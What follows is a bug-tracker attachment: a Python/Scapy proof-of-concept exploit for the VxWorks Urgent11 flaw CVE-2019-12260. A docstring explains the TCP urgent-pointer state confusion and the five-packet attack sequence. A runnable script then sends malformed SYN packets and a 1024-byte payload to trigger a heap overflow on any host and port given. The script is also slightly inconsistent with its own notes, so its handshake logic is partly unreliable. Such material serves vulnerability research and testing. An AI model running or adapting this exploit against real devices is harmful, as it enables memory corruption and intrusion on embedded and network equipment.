Project

General

Profile

Bug #3341 » cve_2019_12260.py

Script used to forge packets with - axel b, 11/18/2019 08:32 PM

 
'''
## TCP Urgent Pointer state confusion caused by malformed TCP AO option (CVE-2019-12260
In VxWorks versions above 6.9.3 a TCP Urgent Pointer state confusion can be caused by a malformed
TCP AO (Authentication Option) Option.

.DESCRIPTION:
The vulnerability does not depend on the TCP AO to be enabled or used, it is always pared by the TCP module.

1. Attacker sends a malformed TCP_OPTION_AO in the first SYN packet, this can be done with a byte value of <= 3
- The socket drops the connection but stays in a passive listen state
2. Attacker sends a second SYN packet, due to the previous step the socket is still open and this packet gets parsed by that socket.
Because of this state, some checks are not carried out:

if ((p->seg.flags_n & TCP_SYN_FLAG) == 0) || (p->seg.flags_n & (TCP_FIN_FLAG | TCP_URG_FLAG | TCP_PSH_FLAG) != 0) {
doStuff...
return 0;
}

The above code basically checks if the SYN packet does not contain any of the following flags:
- FIN
- URG
- PSH
Since the check is not carried out, an attacker could send a SYN packet with any combination of the above flags. In the example of
Armis on the Urgent11 exploits a crafted SYN packet with the URG and FIN flags was sent. This packet will be handled like a valid packet
and will consist of the sequence number set by the attacker (from now called sequence_a). The following code will be executed by VxWorks:

if (pkt->flags & 0x2000) { // Check if the URG flag is set in the packet
tcb->urg_ptr = p->seq.seq_start + htons(pkt->urg_ptr);
tcb->flags |= 0x80000; //TCB_STATE_URG_RECEIVED
}

The above code will effectively set the tcb->recv.urg_ptr to the value of sequence_a + 1 if the URG pointer in the TCP header is set to 1.
The next check is looking for a FIN packet but since the state of the socket is still not valid for a FIN to be received the check fails and an
error is returned to iptcp_input. The state of the socket stays unchanged and remains in a listen state. iptcp_input drops the packet due to the
error but leaves the socket in its current state. Furthermore the TCB_STATE_URG_RECEIVED is left set on the socket and the recv.urg_ptr keeps the
value of sequence_a + 1.
3. The attacker now sends a valid SYN packet to the socket with an initial sequence number (from now called sequence_b).
Assuming that sequence_b = sequence_a + 1000000. This packet is valid and will be handled by the code as intended. The target will send a valid
SYN/ACK back to the attacker.
4. The attacker responds with an ACK packet to finalize the handshake. The attacker can include up to 64K bytes of data with this ACK segment, this data
will be added to the TCP receive window of the socket. The socket that was set to the listening state will now change to the ESTABLISHED_STATE, and
a user waiting on an accept() call will be handed the client socket. Then the user will likely call recv() on the socket. At this point, the
iptcp_usr_get_from_recv_queue will be executed:

if (​tcb​->flags & 0x80000))) { // TCB_STATE_URG_RECEIVED
...
if (iptcp_at_mark(sock)) {
...
} else if ((int32)(tcb->recv.urg_ptr - len + tcb->recv.seq_next - sock->ipcom.rcv_bytes) <= 0) {
// Calculate the urgent data offset inside the window, in order to
// copy data up to, but not including the urgent data
len = tcb->recv.urg_ptr - 1 - tcb->recv.seq_next + sock->ipcom.rcv_bytes;
}

The TCB_STATE_URG_RECEIVED is still set at this point, and the recv.urg_ptr retains its value too. This causes the else-if block to be checked, and can now
be substituted with its matching values:

(​int32​)(​tcb​->recv.urg_ptr - ​len​ + ​tcb​->recv.seq_next - ​sock​->ipcom.rcv_bytes) <= 0
⇔ (​int32​)(sequence_a + 1 - ​len​ - sequence_b) <= 0
⇔ (​int32​)(sequence_a + 1 - ​len​ - sequence_a + 1000000) <= 0
⇔ (​int32​)(-​len​ - 999999) <= 0

The check is passed, and len will be set by the urgent data offset calculation as such:

tcb​->recv.urg_ptr - 1 - ​tcb​->recv.seq_next + ​sock​->ipcom.rcv_bytes
⇔ sequence_a + 1 - 1 - (sequence_a + 1000000)
⇔ -1000000

len will now be equal to -1000000, and since len is a 32-bit integer, it will now equal a very large number, voiding any user defined restrictions. This condition
will result in overflows in any code that performs recv() on this TCP socket.

## The 5-way handshake
1. Malformed SYN packet with TCP-AO option and a length of <= 3 bytes
2. SYN packet with seq:0 and the URG and FIN flags set. Set the URG pointer to any value that is non-zero like 10
3. Send a valid SYN packet with a high sequence number (something like 1000000)
4. Target responds with a SYN/ACK
5. Attacker response with ACK
- This final ACK can carry a payload -> Armis shows a 1024 bytes payload which results in any recv() call on the socket to write these bytes into the user buffer.
- If the TCP server performs a recv() of a shorter length, a memory corruption will occur.
- The attacker controls the overflow data, as it's the data that was sent in the ACK packet

Demo video showing an attack on a Sonicwall TZ-300: https://www.youtube.com/watch?v=GPYVLbq83xQ

.NOTES:
PKT#1
RFC 5925 describes the TCP-AO: https://tools.ietf.org/html/rfc5925#page-7
It looks like 29h is the value asociated with TCP-AO, following its length

send(IP(dst="127.0.0.1")/TCP(dport=80,flags="S",options=[(29, '\x02')]))

The above packet is a forged SYN packet with the TCP-AO set and a payload of 1 byte, this should not pass the check of VxWorks.
The send() option is used because no answer is expected to be returned by the device.
PKT#2
Second packet is a SYN packet with the FIN and URG flags set, the urgent pointer is set to a non-zero value

send(IP(dst=host)/TCP(sport=31337, dport=port, flags="SFU", seq=0, urgptr=10))

Again send() is used because no answer is expected to be returned by the device.
PKT#3
A valid SYN packet is sent to the same socket that should now be in a passive listening state, using a high sequence number to
trigger the heap overflow in a later stage.

sr1(IP(dst=host)/TCP(sport=31337, dport=port, flags="S", seq=sequence))

The sr1() is used because a SYN/ACK answer is expected back from the device, this is the start of the "official" 3-way handshake.
PKT#4
After receiving the SYN/ACK from the target, the attacker sends an ACK with the initial payload to the device, because of the
check that was skipped before it will now used the value in the URG pointer to write the ACK payload on the heap, leading to a
heap overflow with attacker controlled values.

sr1(IP(dst=host)/TCP(sport=31337, dport=port, flags="A", seq=TCP_SYN.seq, ack=TCP_SYN.seq+1))

The sr1() is used because an ACK packet from the target side is expected to initialize the TCP connection.
'''

import argparse
from scapy.all import *
from scapy import route

def craft_packets(host, port):

# Craft the malformed SYN packet with the TCP-AO option of <= 3 bytes
TCP_MAL_SYN = IP(dst=host)/TCP(sport=31337, dport=port, flags="S", seq=0, options=[(29,'\x61')])
print("[+] PKT#1: Sending malformed SYN...")
send(TCP_MAL_SYN)

# Craft the SYN packet with sequence 0 and flags FIN/URG. Set URG ptr to non-zero
TCP_SYNURG = IP(dst=host)/TCP(sport=31337, dport=port, flags="FSU", seq=0, urgptr=10)
print("[+] PKT#2: Sending malformed SYN/FIN/URG...")
send(TCP_SYNURG)

# Craft the valid SYN packet with a high sequence number
sequence = 1000000
TCP_SYN = IP(dst=host)/TCP(sport=31337, dport=port, flags="S", seq=sequence)
print("[+] PKT#3: Sending valid SYN with seq:{0}".format(sequence))
send(TCP_SYN)

# Craft the valid ACK packet to respond to the device
payload = "\xFF" * 1024
TCP_ACK = IP(dst=host)/TCP(sport=31337, dport=port, flags="A", seq=TCP_SYN.seq, ack=TCP_SYN.seq+1)/payload
sr1(TCP_ACK)


if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PoC for Urgent11 CVE-2019-12260")
parser.add_argument("--host", dest="host", help="Target machine IP-address")
parser.add_argument("--port", dest="port", help="Target port")

args = parser.parse_args()

# Craft the packets
craft_packets(args.host, int(args.port))
(2-2/2)